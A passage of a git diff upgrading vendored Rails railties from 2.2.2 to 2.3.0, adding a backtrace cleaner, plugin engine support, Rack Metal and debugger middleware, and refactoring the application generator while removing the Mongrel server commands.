`_run_erb_.*/ + + VENDOR_DIRS = %w( vendor/gems vendor/rails ) + SERVER_DIRS = %w( lib/mongrel bin/mongrel + lib/passenger bin/passenger-spawn-server + lib/rack ) + RAILS_NOISE = %w( script/server ) + RUBY_NOISE = %w( rubygems/custom_require benchmark.rb ) + + GEMS_DIR = Gem.default_dir + + ALL_NOISE = VENDOR_DIRS + SERVER_DIRS + RAILS_NOISE + RUBY_NOISE + + def initialize + super + add_filter { |line| line.sub("#{RAILS_ROOT}/", '') } + add_filter { |line| line.sub(ERB_METHOD_SIG, '') } + add_filter { |line| line.sub('./', '/') } # for tests + add_filter { |line| line.sub(/(#{GEMS_DIR})\/gems\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) \4')} # http://gist.github.com/30430 + add_silencer { |line| ALL_NOISE.any? { |dir| line.include?(dir) } } + add_silencer { |line| line =~ %r(vendor/plugins/[^\/]+/lib) } + end + end + + # For installing the BacktraceCleaner in the test/unit + module BacktraceFilterForTestUnit #:nodoc: + def self.included(klass) + klass.send :alias_method_chain, :filter_backtrace, :cleaning + end + + def filter_backtrace_with_cleaning(backtrace, prefix=nil) + backtrace = filter_backtrace_without_cleaning(backtrace, prefix) + backtrace = backtrace.first.split("\n") if backtrace.size == 1 + Rails.backtrace_cleaner.clean(backtrace) + end + end +end diff --git a/vendor/rails/railties/lib/rails/gem_dependency.rb b/vendor/rails/railties/lib/rails/gem_dependency.rb index cd280ac0..5a07841b 100644 --- a/vendor/rails/railties/lib/rails/gem_dependency.rb +++ b/vendor/rails/railties/lib/rails/gem_dependency.rb @@ -74,6 +74,7 @@ module Rails def dependencies return [] if framework_gem? + return [] if specification.nil? all_dependencies = specification.dependencies.map do |dependency| GemDependency.new(dependency.name, :requirement => dependency.version_requirements) end diff --git a/vendor/rails/railties/lib/rails/mongrel_server/commands.rb b/vendor/rails/railties/lib/rails/mongrel_server/commands.rb deleted file mode 100644 index d29b1871..00000000 --- a/vendor/rails/railties/lib/rails/mongrel_server/commands.rb +++ /dev/null @@ -1,342 +0,0 @@ -# Copyright (c) 2005 Zed A. Shaw -# You can redistribute it and/or modify it under the same terms as Ruby. -# -# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html -# for more information. - -require 'optparse' -require 'yaml' -require 'etc' - -require 'mongrel' -require 'rails/mongrel_server/handler' - -module Rails - module MongrelServer - def self.send_signal(signal, pid_file) - pid = open(pid_file).read.to_i - print "Sending #{signal} to Mongrel at PID #{pid}..." - begin - Process.kill(signal, pid) - rescue Errno::ESRCH - puts "Process does not exist. Not running." - end - - puts "Done." - end - - class RailsConfigurator < Mongrel::Configurator - def setup_mime_types - mime = {} - - if defaults[:mime_map] - Mongrel.log("Loading additional MIME types from #{defaults[:mime_map]}") - mime = load_mime_map(defaults[:mime_map], mime) - end - - mime.each {|k,v| Mongrel::DirHandler::add_mime_type(k,v) } - end - - def mount_rails(prefix) - ENV['RAILS_ENV'] = defaults[:environment] - ::RAILS_ENV.replace(defaults[:environment]) if defined?(::RAILS_ENV) - - env_location = "#{defaults[:cwd]}/config/environment" - require env_location - - ActionController::Base.relative_url_root = defaults[:prefix] - uri prefix, :handler => Rails::MongrelServer::RailsHandler.new - end - end - - class Start < GemPlugin::Plugin "/commands" - include Mongrel::Command::Base - - def configure - options [ - ["-e", "--environment ENV", "Rails environment to run as", :@environment, ENV['RAILS_ENV'] || "development"], - ["-d", "--daemonize", "Run daemonized in the background", :@daemon, false], - ['-p', '--port PORT', "Which port to bind to", :@port, 3000], - ['-a', '--address ADDR', "Address to bind to", :@address, "0.0.0.0"], - ['-l', '--log FILE', "Where to write log messages", :@log_file, "log/mongrel.log"], - ['-P', '--pid FILE', "Where to write the PID", :@pid_file, "tmp/pids/mongrel.pid"], - ['-n', '--num-procs INT', "Number of processors active before clients denied", :@num_procs, 1024], - ['-o', '--timeout TIME', "Time to wait (in seconds) before killing a stalled thread", :@timeout, 60], - ['-t', '--throttle TIME', "Time to pause (in hundredths of a second) between accepting clients", :@throttle, 0], - ['-m', '--mime PATH', "A YAML file that lists additional MIME types", :@mime_map, nil], - ['-c', '--chdir PATH', "Change to dir before starting (will be expanded)", :@cwd, RAILS_ROOT], - ['-r', '--root PATH', "Set the document root (default 'public')", :@docroot, "public"], - ['-B', '--debug', "Enable debugging mode", :@debug, false], - ['-C', '--config PATH', "Use a config file", :@config_file, nil], - ['-S', '--script PATH', "Load the given file as an extra config script", :@config_script, nil], - ['-G', '--generate PATH', "Generate a config file for use with -C", :@generate, nil], - ['', '--user USER', "User to run as", :@user, nil], - ['', '--group GROUP', "Group to run as", :@group, nil], - ['', '--prefix PATH', "URL prefix for Rails app", :@prefix, nil], - - ['-b', '--binding ADDR', "Address to bind to (deprecated, use -a)", :@address, "0.0.0.0"], - ['-u', '--debugger', "Enable debugging mode (deprecated, use -B)", :@debug, false] - ] - end - - def validate - if @config_file - valid_exists?(@config_file, "Config file not there: #@config_file") - return false unless @valid - @config_file = File.expand_path(@config_file) - load_config - return false unless @valid - end - - @cwd = File.expand_path(@cwd) - valid_dir? @cwd, "Invalid path to change to during daemon mode: #@cwd" - - # Change there to start, then we'll have to come back after daemonize - Dir.chdir(@cwd) - - valid?(@prefix[0] == ?/ && @prefix[-1] != ?/, "Prefix must begin with / and not end in /") if @prefix - valid_dir? File.dirname(@log_file), "Path to log file not valid: #@log_file" - valid_dir? File.dirname(@pid_file), "Path to pid file not valid: #@pid_file" - valid_dir? @docroot, "Path to docroot not valid: #@docroot" - valid_exists? @mime_map, "MIME mapping file does not exist: #@mime_map" if @mime_map - valid_exists? @config_file, "Config file not there: #@config_file" if @config_file - valid_dir? File.dirname(@generate), "Problem accessing directory to #@generate" if @generate - valid_user? @user if @user - valid_group? @group if @group - - return @valid - end - - def run - if @generate - @generate = File.expand_path(@generate) - Mongrel.log(:error, "** Writing config to \"#@generate\".") - open(@generate, "w") {|f| f.write(settings.to_yaml) } - Mongrel.log(:error, "** Finished. Run \"mongrel_rails start -C #@generate\" to use the config file.") - exit 0 - end - - config = RailsConfigurator.new(settings) do - defaults[:log] = $stdout if defaults[:environment] == 'development' - - Mongrel.log("=> Rails #{Rails.version} application starting on http://#{defaults[:host]}:#{defaults[:port]}") - - unless defaults[:daemon] - Mongrel.log("=> Call with -d to detach") - Mongrel.log("=> Ctrl-C to shutdown server") - start_debugger if defaults[:debug] - end - - if defaults[:daemon] - if File.exist? defaults[:pid_file] - Mongrel.log(:error, "!!! PID file #{defaults[:pid_file]} already exists. Mongrel could be running already. Check your #{defaults[:log_file]} for errors.") - Mongrel.log(:error, "!!! Exiting with error. You must stop mongrel and clear the .pid before I'll attempt a start.") - exit 1 - end - - daemonize - - Mongrel.log("Daemonized, any open files are closed. Look at #{defaults[:pid_file]} and #{defaults[:log_file]} for info.") - Mongrel.log("Settings loaded from #{@config_file} (they override command line).") if @config_file - end - - Mongrel.log("Starting Mongrel listening at #{defaults[:host]}:#{defaults[:port]}, further information can be found in log/mongrel-#{defaults[:host]}-#{defaults[:port]}.log") - - listener do - prefix = defaults[:prefix] || '/' - - if defaults[:debug] - Mongrel.log("Installing debugging prefixed filters. Look in log/mongrel_debug for the files.") - debug(prefix) - end - - setup_mime_types - dir_handler = Mongrel::DirHandler.new(defaults[:docroot], false) - dir_handler.passthrough_missing_files = true - - unless defaults[:environment] == 'production' - Mongrel.log("Mounting DirHandler at #{prefix}...") - uri prefix, :handler => dir_handler - end - - - Mongrel.log("Starting Rails with #{defaults[:environment]} environment...") - Mongrel.log("Mounting Rails at #{prefix}...") - mount_rails(prefix) - Mongrel.log("Rails loaded.") - - - Mongrel.log("Loading any Rails specific GemPlugins" ) - load_plugins - - if defaults[:config_script] - Mongrel.log("Loading #{defaults[:config_script]} external config script") - run_config(defaults[:config_script]) - end - - setup_signals - end - end - - config.run - Mongrel.log("Mongrel #{Mongrel::Const::MONGREL_VERSION} available at #{@address}:#{@port}") - - if config.defaults[:daemon] - config.write_pid_file - else - Mongrel.log("Use CTRL-C to stop.") - tail "log/#{config.defaults[:environment]}.log" - end - - config.join - - if config.needs_restart - unless RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw/ - cmd = "ruby #{__FILE__} start #{original_args.join(' ')}" - Mongrel.log("Restarting with arguments: #{cmd}") - config.stop(false, true) - config.remove_pid_file - - if config.defaults[:daemon] - system cmd - else - Mongrel.log(:error, "Can't restart unless in daemon mode.") - exit 1 - end - else - Mongrel.log("Win32 does not support restarts. Exiting.") - end - end - end - - def load_config - settings = {} - begin - settings = YAML.load_file(@config_file) - ensure - Mongrel.log(:error, "** Loading settings from #{@config_file} (they override command line).") unless @daemon || settings[:daemon] - end - - settings[:includes] ||= ["mongrel"] - - # Config file settings will override command line settings - settings.each do |key, value| - key = key.to_s - if config_keys.include?(key) - key = 'address' if key == 'host' - self.instance_variable_set("@#{key}", value) - else - failure "Unknown configuration setting: #{key}" - @valid = false - end - end - end - - def config_keys - @config_keys ||= - %w(address host port cwd log_file pid_file environment docroot mime_map daemon debug includes config_script num_processors timeout throttle user group prefix) - end - - def settings - config_keys.inject({}) do |hash, key| - value = self.instance_variable_get("@#{key}") - key = 'host' if key == 'address' - hash[key.to_sym] ||= value - hash - end - end - - def start_debugger - require_library_or_gem 'ruby-debug' - Debugger.start - Debugger.settings[:autoeval] = true if Debugger.respond_to?(:settings) - Mongrel.log("=> Debugger enabled") - rescue Exception - Mongrel.log(:error, "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'") - exit - end - - def tail(log_file) - cursor = File.size(log_file) - last_checked = Time.now - tail_thread = Thread.new do - File.open(log_file, 'r') do |f| - loop do - f.seek cursor - if f.mtime > last_checked - last_checked = f.mtime - contents = f.read - cursor += contents.length - print contents - end - sleep 1 - end - end - end - tail_thread - end - end - - class Stop < GemPlugin::Plugin "/commands" - include Mongrel::Command::Base - - def configure - options [ - ['-c', '--chdir PATH', "Change to dir before starting (will be expanded).", :@cwd, "."], - ['-f', '--force', "Force the shutdown (kill -9).", :@force, false], - ['-w', '--wait SECONDS', "Wait SECONDS before forcing shutdown", :@wait, "0"], - ['-P', '--pid FILE', "Where the PID file is located.", :@pid_file, "log/mongrel.pid"] - ] - end - - def validate - @cwd = File.expand_path(@cwd) - valid_dir? @cwd, "Invalid path to change to during daemon mode: #@cwd" - - Dir.chdir @cwd - - valid_exists? @pid_file, "PID file #@pid_file does not exist. Not running?" - return @valid - end - - def run - if @force - @wait.to_i.times do |waiting| - exit(0) if not File.exist? @pid_file - sleep 1 - end - - Mongrel::send_signal("KILL", @pid_file) if File.exist? @pid_file - else - Mongrel::send_signal("TERM", @pid_file) - end - end - end - - - class Restart < GemPlugin::Plugin "/commands" - include Mongrel::Command::Base - - def configure - options [ - ['-c', '--chdir PATH', "Change to dir before starting (will be expanded)", :@cwd, '.'], - ['-P', '--pid FILE', "Where the PID file is located", :@pid_file, "log/mongrel.pid"] - ] - end - - def validate - @cwd = File.expand_path(@cwd) - valid_dir? @cwd, "Invalid path to change to during daemon mode: #@cwd" - - Dir.chdir @cwd - - valid_exists? @pid_file, "PID file #@pid_file does not exist. Not running?" - return @valid - end - - def run - MongrelServer::send_signal("USR2", @pid_file) - end - end - end -end diff --git a/vendor/rails/railties/lib/rails/mongrel_server/handler.rb b/vendor/rails/railties/lib/rails/mongrel_server/handler.rb deleted file mode 100644 index a19eca72..00000000 --- a/vendor/rails/railties/lib/rails/mongrel_server/handler.rb +++ /dev/null @@ -1,55 +0,0 @@ -# Copyright (c) 2005 Zed A. Shaw -# You can redistribute it and/or modify it under the same terms as Ruby. -# -# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html -# for more information. - -require 'mongrel' -require 'cgi' -require 'action_controller/dispatcher' - - -module Rails - module MongrelServer - # Implements a handler that can run Rails and serve files out of the - # Rails application's public directory. This lets you run your Rails - # application with Mongrel during development and testing, then use it - # also in production behind a server that's better at serving the - # static files. - # - # The RailsHandler takes a mime_map parameter which is a simple suffix=mimetype - # mapping that it should add to the list of valid mime types. - # - # It also supports page caching directly and will try to resolve a request - # in the following order: - # - # * If the requested exact PATH_INFO exists as a file then serve it. - # * If it exists at PATH_INFO+".html" exists then serve that. - # * Finally, construct a Mongrel::CGIWrapper and run Dispatcher.dispatch to have Rails go. - # - # This means that if you are using page caching it will actually work with Mongrel - # and you should see a decent speed boost (but not as fast as if you use a static - # server like Apache or Litespeed). - class RailsHandler < Mongrel::HttpHandler - # Construct a Mongrel::CGIWrapper and dispatch. - def process(request, response) - return if response.socket.closed? - - cgi = Mongrel::CGIWrapper.new(request, response) - cgi.handler = self - # We don't want the output to be really final until we're out of the lock - cgi.default_really_final = false - - ActionController::Dispatcher.dispatch(cgi, ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS, response.body) - - # This finalizes the output using the proper HttpResponse way - cgi.out("text/html",true) {""} - rescue Errno::EPIPE - response.socket.close - rescue Object => rails_error - STDERR.puts "#{Time.now.httpdate}: Error dispatching #{rails_error.inspect}" - STDERR.puts rails_error.backtrace.join("\n") - end - end - end -end diff --git a/vendor/rails/railties/lib/rails/plugin.rb b/vendor/rails/railties/lib/rails/plugin.rb index 4d983843..4901abe8 100644 --- a/vendor/rails/railties/lib/rails/plugin.rb +++ b/vendor/rails/railties/lib/rails/plugin.rb @@ -28,15 +28,19 @@ module Rails end def valid? - File.directory?(directory) && (has_lib_directory? || has_init_file?) + File.directory?(directory) && (has_app_directory? || has_lib_directory? || has_init_file?) end # Returns a list of paths this plugin wishes to make available in $LOAD_PATH. def load_paths report_nonexistant_or_empty_plugin! unless valid? - has_lib_directory? ? [lib_path] : [] + + returning [] do |load_paths| + load_paths << lib_path if has_lib_directory? + load_paths << app_paths if has_app_directory? + end.flatten end - + # Evaluates a plugin's init.rb file. def load(initializer) return if loaded? @@ -56,7 +60,31 @@ module Rails def about @about ||= load_about_information end + + # Engines are plugins with an app/ directory. + def engine? + has_app_directory? + end + # Returns true if the engine ships with a routing file + def routed? + File.exist?(routing_file) + end + + + def view_path + File.join(directory, 'app', 'views') + end + + def controller_path + File.join(directory, 'app', 'controllers') + end + + def routing_file + File.join(directory, 'config', 'routes.rb') + end + + private def load_about_information about_yml_path = File.join(@directory, "about.yml") @@ -68,8 +96,13 @@ module Rails def report_nonexistant_or_empty_plugin! raise LoadError, "Can not find the plugin named: #{name}" - end - + end + + + def app_paths + [ File.join(directory, 'app', 'models'), File.join(directory, 'app', 'helpers'), controller_path ] + end + def lib_path File.join(directory, 'lib') end @@ -86,6 +119,11 @@ module Rails File.file?(gem_init_path) ? gem_init_path : classic_init_path end + + def has_app_directory? + File.directory?(File.join(directory, 'app')) + end + def has_lib_directory? File.directory?(lib_path) end @@ -94,6 +132,7 @@ module Rails File.file?(init_path) end + def evaluate_init_rb(initializer) if has_init_file? silence_warnings do diff --git a/vendor/rails/railties/lib/rails/plugin/loader.rb b/vendor/rails/railties/lib/rails/plugin/loader.rb index 948d4970..be81bdf4 100644 --- a/vendor/rails/railties/lib/rails/plugin/loader.rb +++ b/vendor/rails/railties/lib/rails/plugin/loader.rb @@ -22,6 +22,11 @@ module Rails @plugins ||= all_plugins.select { |plugin| should_load?(plugin) }.sort { |p1, p2| order_plugins(p1, p2) } end + # Returns the plugins that are in engine-form (have an app/ directory) + def engines + @engines ||= plugins.select(&:engine?) + end + # Returns all the plugins that could be found by the current locators. def all_plugins @all_plugins ||= locate_plugins @@ -33,6 +38,9 @@ module Rails plugin.load(initializer) register_plugin_as_loaded(plugin) end + + configure_engines + ensure_all_registered_plugins_are_loaded! end @@ -45,23 +53,49 @@ module Rails plugins.each do |plugin| plugin.load_paths.each do |path| $LOAD_PATH.insert(application_lib_index + 1, path) - ActiveSupport::Dependencies.load_paths << path + + ActiveSupport::Dependencies.load_paths << path + unless Rails.configuration.reload_plugins? ActiveSupport::Dependencies.load_once_paths << path end end end + $LOAD_PATH.uniq! - end + end + protected + def configure_engines + if engines.any? + add_engine_routing_configurations + add_engine_controller_paths + add_engine_view_paths + end + end + def add_engine_routing_configurations + engines.select(&:routed?).collect(&:routing_file).each do |routing_file| + ActionController::Routing::Routes.add_configuration_file(routing_file) + end + end + + def add_engine_controller_paths + ActionController::Routing.controller_paths += engines.collect(&:controller_path) + end + + def add_engine_view_paths + # reverse it such that the last engine can overwrite view paths from the first, like with routes + ActionController::Base.view_paths += ActionView::PathSet.new(engines.collect(&:view_path).reverse) + end + # The locate_plugins method uses each class in config.plugin_locators to # find the set of all plugins available to this Rails application. def locate_plugins - configuration.plugin_locators.map { |locator| + configuration.plugin_locators.map do |locator| locator.new(initializer).plugins - }.flatten + end.flatten # TODO: sorting based on config.plugins end diff --git a/vendor/rails/railties/lib/rails/plugin/locator.rb b/vendor/rails/railties/lib/rails/plugin/locator.rb index 678b295d..a6fc388a 100644 --- a/vendor/rails/railties/lib/rails/plugin/locator.rb +++ b/vendor/rails/railties/lib/rails/plugin/locator.rb @@ -30,7 +30,7 @@ module Rails end # The Rails::Plugin::FileSystemLocator will try to locate plugins by examining the directories - # the the paths given in configuration.plugin_paths. Any plugins that can be found are returned + # in the paths given in configuration.plugin_paths. Any plugins that can be found are returned # in a list. # # The criteria for a valid plugin in this case is found in Rails::Plugin#valid?, although diff --git a/vendor/rails/railties/lib/rails/rack.rb b/vendor/rails/railties/lib/rails/rack.rb index b4f32c2d..9705f65e 100644 --- a/vendor/rails/railties/lib/rails/rack.rb +++ b/vendor/rails/railties/lib/rails/rack.rb @@ -1,6 +1,8 @@ module Rails module Rack - autoload :Logger, "rails/rack/logger" + autoload :Debugger, "rails/rack/debugger" + autoload :LogTailer, "rails/rack/log_tailer" + autoload :Metal, "rails/rack/metal" autoload :Static, "rails/rack/static" end end diff --git a/vendor/rails/railties/lib/rails/rack/debugger.rb b/vendor/rails/railties/lib/rails/rack/debugger.rb new file mode 100644 index 00000000..aa2711c6 --- /dev/null +++ b/vendor/rails/railties/lib/rails/rack/debugger.rb @@ -0,0 +1,21 @@ +module Rails + module Rack + class Debugger + def initialize(app) + @app = app + + require_library_or_gem 'ruby-debug' + ::Debugger.start + ::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings) + puts "=> Debugger enabled" + rescue Exception + puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'" + exit + end + + def call(env) + @app.call(env) + end + end + end +end diff --git a/vendor/rails/railties/lib/rails/rack/log_tailer.rb b/vendor/rails/railties/lib/rails/rack/log_tailer.rb new file mode 100644 index 00000000..a237cee6 --- /dev/null +++ b/vendor/rails/railties/lib/rails/rack/log_tailer.rb @@ -0,0 +1,35 @@ +module Rails + module Rack + class LogTailer + EnvironmentLog = "#{File.expand_path(Rails.root)}/log/#{Rails.env}.log" + + def initialize(app, log = nil) + @app = app + + path = Pathname.new(log || EnvironmentLog).cleanpath + @cursor = ::File.size(path) + @last_checked = Time.now.to_f + + @file = ::File.open(path, 'r') + end + + def call(env) + response = @app.call(env) + tail_log + response + end + + def tail_log + @file.seek @cursor + + mod = @file.mtime.to_f + if mod > @last_checked + contents = @file.read + @last_checked = mod + @cursor += contents.size + $stdout.print contents + end + end + end + end +end diff --git a/vendor/rails/railties/lib/rails/rack/logger.rb b/vendor/rails/railties/lib/rails/rack/logger.rb deleted file mode 100644 index 89d02e45..00000000 --- a/vendor/rails/railties/lib/rails/rack/logger.rb +++ /dev/null @@ -1,28 +0,0 @@ -module Rails - module Rack - class Logger - EnvironmentLog = "#{File.expand_path(Rails.root)}/log/#{Rails.env}.log" - - def initialize(app, log = nil) - @app = app - @path = Pathname.new(log || EnvironmentLog).cleanpath - @cursor = ::File.size(@path) - @last_checked = Time.now - end - - def call(env) - response = @app.call(env) - ::File.open(@path, 'r') do |f| - f.seek @cursor - if f.mtime > @last_checked - contents = f.read - @last_checked = f.mtime - @cursor += contents.length - print contents - end - end - response - end - end - end -end diff --git a/vendor/rails/railties/lib/rails/rack/metal.rb b/vendor/rails/railties/lib/rails/rack/metal.rb new file mode 100644 index 00000000..b1852272 --- /dev/null +++ b/vendor/rails/railties/lib/rails/rack/metal.rb @@ -0,0 +1,36 @@ +require 'active_support/ordered_hash' + +module Rails + module Rack + class Metal + NotFoundResponse = [404, {}, []].freeze + NotFound = lambda { NotFoundResponse } + + def self.metals + base = "#{Rails.root}/app/metal" + matcher = /\A#{Regexp.escape(base)}\/(.*)\.rb\Z/ + + Dir["#{base}/**/*.rb"].sort.map do |file| + file.sub!(matcher, '\1') + require file + file.classify.constantize + end + end + + def initialize(app) + @app = app + @metals = ActiveSupport::OrderedHash.new + self.class.metals.each { |app| @metals[app] = true } + freeze + end + + def call(env) + @metals.keys.each do |app| + result = app.call(env) + return result unless result[0].to_i == 404 + end + @app.call(env) + end + end + end +end diff --git a/vendor/rails/railties/lib/rails/rack/static.rb b/vendor/rails/railties/lib/rails/rack/static.rb index 45eb0e59..ef4e2642 100644 --- a/vendor/rails/railties/lib/rails/rack/static.rb +++ b/vendor/rails/railties/lib/rails/rack/static.rb @@ -1,3 +1,5 @@ +require 'rack/utils' + module Rails module Rack class Static diff --git a/vendor/rails/railties/lib/rails/version.rb b/vendor/rails/railties/lib/rails/version.rb index 5df54fa3..9bb4b2a9 100644 --- a/vendor/rails/railties/lib/rails/version.rb +++ b/vendor/rails/railties/lib/rails/version.rb @@ -1,8 +1,8 @@ module Rails module VERSION #:nodoc: MAJOR = 2 - MINOR = 2 - TINY = 2 + MINOR = 3 + TINY = 0 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/railties/lib/rails_generator/base.rb b/vendor/rails/railties/lib/rails_generator/base.rb index b5cfe798..aa7081f8 100644 --- a/vendor/rails/railties/lib/rails_generator/base.rb +++ b/vendor/rails/railties/lib/rails_generator/base.rb @@ -154,6 +154,9 @@ module Rails File.join(destination_root, relative_destination) end + def after_generate + end + protected # Convenience method for generator subclasses to record a manifest. def record diff --git a/vendor/rails/railties/lib/rails_generator/commands.rb b/vendor/rails/railties/lib/rails_generator/commands.rb index 6b9a6368..299044c3 100644 --- a/vendor/rails/railties/lib/rails_generator/commands.rb +++ b/vendor/rails/railties/lib/rails_generator/commands.rb @@ -40,6 +40,7 @@ module Rails # Replay action manifest. RewindBase subclass rewinds manifest. def invoke! manifest.replay(self) + after_generate end def dependency(generator_name, args, runtime_options = {}) @@ -293,7 +294,7 @@ HELP file(relative_source, relative_destination, template_options) do |file| # Evaluate any assignments in a temporary, throwaway binding. vars = template_options[:assigns] || {} - b = binding + b = template_options[:binding] || binding vars.each { |k,v| eval "#{k} = vars[:#{k}] || vars['#{k}']", b } # Render the source file with the temporary binding. diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb index 5a348bcd..2c31d895 100644 --- a/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb +++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb @@ -1,113 +1,46 @@ require 'rbconfig' +require File.dirname(__FILE__) + '/template_runner' require 'digest/md5' require 'active_support/secure_random' class AppGenerator < Rails::Generator::Base - DEFAULT_SHEBANG = File.join(Config::CONFIG['bindir'], - Config::CONFIG['ruby_install_name']) + DEFAULT_SHEBANG = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name']) - DATABASES = %w(mysql oracle postgresql sqlite2 sqlite3 frontbase ibm_db) + DATABASES = %w( mysql oracle postgresql sqlite2 sqlite3 frontbase ibm_db ) DEFAULT_DATABASE = 'sqlite3' - default_options :db => (ENV["RAILS_DEFAULT_DATABASE"] || DEFAULT_DATABASE), - :shebang => DEFAULT_SHEBANG, :freeze => false mandatory_options :source => "#{File.dirname(__FILE__)}/../../../../.." + default_options :db => (ENV["RAILS_DEFAULT_DATABASE"] || DEFAULT_DATABASE), + :shebang => DEFAULT_SHEBANG, :with_dispatchers => false, :freeze => false + def initialize(runtime_args, runtime_options = {}) super + usage if args.empty? usage("Databases supported for preconfiguration are: #{DATABASES.join(", ")}") if (options[:db] && !DATABASES.include?(options[:db])) + @destination_root = args.shift @app_name = File.basename(File.expand_path(@destination_root)) end def manifest - # Use /usr/bin/env if no special shebang was specified - script_options = { :chmod => 0755, :shebang => options[:shebang] == DEFAULT_SHEBANG ? nil : options[:shebang] } - dispatcher_options = { :chmod => 0755, :shebang => options[:shebang] } - - # duplicate CGI::Session#generate_unique_id - md5 = Digest::MD5.new - now = Time.now - md5 << now.to_s - md5 << String(now.usec) - md5 << String(rand(0)) - md5 << String($$) - md5 << @app_name - - # Do our best to generate a secure secret key for CookieStore - secret = ActiveSupport::SecureRandom.hex(64) - record do |m| - # Root directory and all subdirectories. - m.directory '' - BASEDIRS.each { |path| m.directory path } + create_directories(m) + create_root_files(m) + create_app_files(m) + create_config_files(m) + create_script_files(m) + create_test_files(m) + create_public_files(m) + create_documentation_file(m) + create_log_files(m) + end + end - # Root - m.file "fresh_rakefile", "Rakefile" - m.file "README", "README" - - # Application - m.template "helpers/application.rb", "app/controllers/application.rb", :assigns => { :app_name => @app_name, :app_secret => md5.hexdigest } - m.template "helpers/application_helper.rb", "app/helpers/application_helper.rb" - m.template "helpers/test_helper.rb", "test/test_helper.rb" - m.template "helpers/performance_test.rb", "test/performance/browsing_test.rb" - - # database.yml and routes.rb - m.template "configs/databases/#{options[:db]}.yml", "config/database.yml", :assigns => { - :app_name => @app_name, - :socket => options[:db] == "mysql" ? mysql_socket_location : nil - } - m.template "configs/routes.rb", "config/routes.rb" - - # Initializers - m.template "configs/initializers/inflections.rb", "config/initializers/inflections.rb" - m.template "configs/initializers/mime_types.rb", "config/initializers/mime_types.rb" - m.template "configs/initializers/new_rails_defaults.rb", "config/initializers/new_rails_defaults.rb" - - # Locale - m.template "configs/locales/en.yml", "config/locales/en.yml" - - # Environments - m.file "environments/boot.rb", "config/boot.rb" - m.template "environments/environment.rb", "config/environment.rb", :assigns => { :freeze => options[:freeze], :app_name => @app_name, :app_secret => secret } - m.file "environments/production.rb", "config/environments/production.rb" - m.file "environments/development.rb", "config/environments/development.rb" - m.file "environments/test.rb", "config/environments/test.rb" - - # Scripts - %w( about console dbconsole destroy generate performance/benchmarker performance/profiler performance/request process/reaper process/spawner process/inspector runner server plugin ).each do |file| - m.file "bin/#{file}", "script/#{file}", script_options - end - - # Dispatches - m.file "dispatches/dispatch.rb", "public/dispatch.rb", dispatcher_options - m.file "dispatches/dispatch.rb", "public/dispatch.cgi", dispatcher_options - m.file "dispatches/dispatch.fcgi", "public/dispatch.fcgi", dispatcher_options - - # HTML files - %w(404 422 500 index).each do |file| - m.template "html/#{file}.html", "public/#{file}.html" - end - - m.template "html/favicon.ico", "public/favicon.ico" - m.template "html/robots.txt", "public/robots.txt" - m.file "html/images/rails.png", "public/images/rails.png" - - # Javascripts - m.file "html/javascripts/prototype.js", "public/javascripts/prototype.js" - m.file "html/javascripts/effects.js", "public/javascripts/effects.js" - m.file "html/javascripts/dragdrop.js", "public/javascripts/dragdrop.js" - m.file "html/javascripts/controls.js", "public/javascripts/controls.js" - m.file "html/javascripts/application.js", "public/javascripts/application.js" - - # Docs - m.file "doc/README_FOR_APP", "doc/README_FOR_APP" - - # Logs - %w(server production development test).each { |file| - m.file "configs/empty.log", "log/#{file}.log", :chmod => 0666 - } + def after_generate + if options[:template] + Rails::TemplateRunner.new(options[:template], @destination_root) end end @@ -127,58 +60,199 @@ class AppGenerator < Rails::Generator::Base "Preconfigure for selected database (options: #{DATABASES.join('/')}).", "Default: #{DEFAULT_DATABASE}") { |v| options[:db] = v } + opt.on("-D", "--with-dispatchers", + "Add CGI/FastCGI/mod_ruby dispatches code to generated application skeleton", + "Default: false") { |v| options[:with_dispatchers] = v } + opt.on("-f", "--freeze", "Freeze Rails in vendor/rails from the gems generating the skeleton", "Default: false") { |v| options[:freeze] = v } + + opt.on("-m", "--template=path", String, + "Use an application template that lives at path (can be a filesystem path or URL).", + "Default: (none)") { |v| options[:template] = v } + end + + private + def create_directories(m) + m.directory '' + + # Intermediate directories are automatically created so don't sweat their absence here. + %w( + app/controllers + app/helpers + app/models + app/views/layouts + config/environments + config/initializers + config/locales + db + doc + lib + lib/tasks + log + public/images + public/javascripts + public/stylesheets + script/performance + test/fixtures + test/functional + test/integration + test/performance + test/unit + vendor + vendor/plugins + tmp/sessions + tmp/sockets + tmp/cache + tmp/pids + ).each { |path| m.directory(path) } + end + + def create_root_files(m) + m.file "fresh_rakefile", "Rakefile" + m.file "README", "README" + end + + def create_app_files(m) + m.file "helpers/application_controller.rb", "app/controllers/application_controller.rb" + m.file "helpers/application_helper.rb", "app/helpers/application_helper.rb" + end + + def create_config_files(m) + create_database_configuration_file(m) + create_routes_file(m) + create_locale_file(m) + create_initializer_files(m) + create_environment_files(m) + end + + def create_documentation_file(m) + m.file "doc/README_FOR_APP", "doc/README_FOR_APP" + end + + def create_log_files(m) + %w( server production development test ).each do |file| + m.file "configs/empty.log", "log/#{file}.log", :chmod => 0666 + end + end + + def create_public_files(m) + create_dispatch_files(m) + create_error_files(m) + create_welcome_file(m) + create_browser_convention_files(m) + create_rails_image(m) + create_javascript_files(m) + end + + def create_script_files(m) + %w( + about console dbconsole destroy generate runner server plugin + performance/benchmarker performance/profiler + ).each do |file| + m.file "bin/#{file}", "script/#{file}", { + :chmod => 0755, + :shebang => options[:shebang] == DEFAULT_SHEBANG ? nil : options[:shebang] + } + end + end + + def create_test_files(m) + m.file "helpers/test_helper.rb", "test/test_helper.rb" + m.file "helpers/performance_test.rb", "test/performance/browsing_test.rb" + end + + + def create_database_configuration_file(m) + m.template "configs/databases/#{options[:db]}.yml", "config/database.yml", :assigns => { + :app_name => @app_name, + 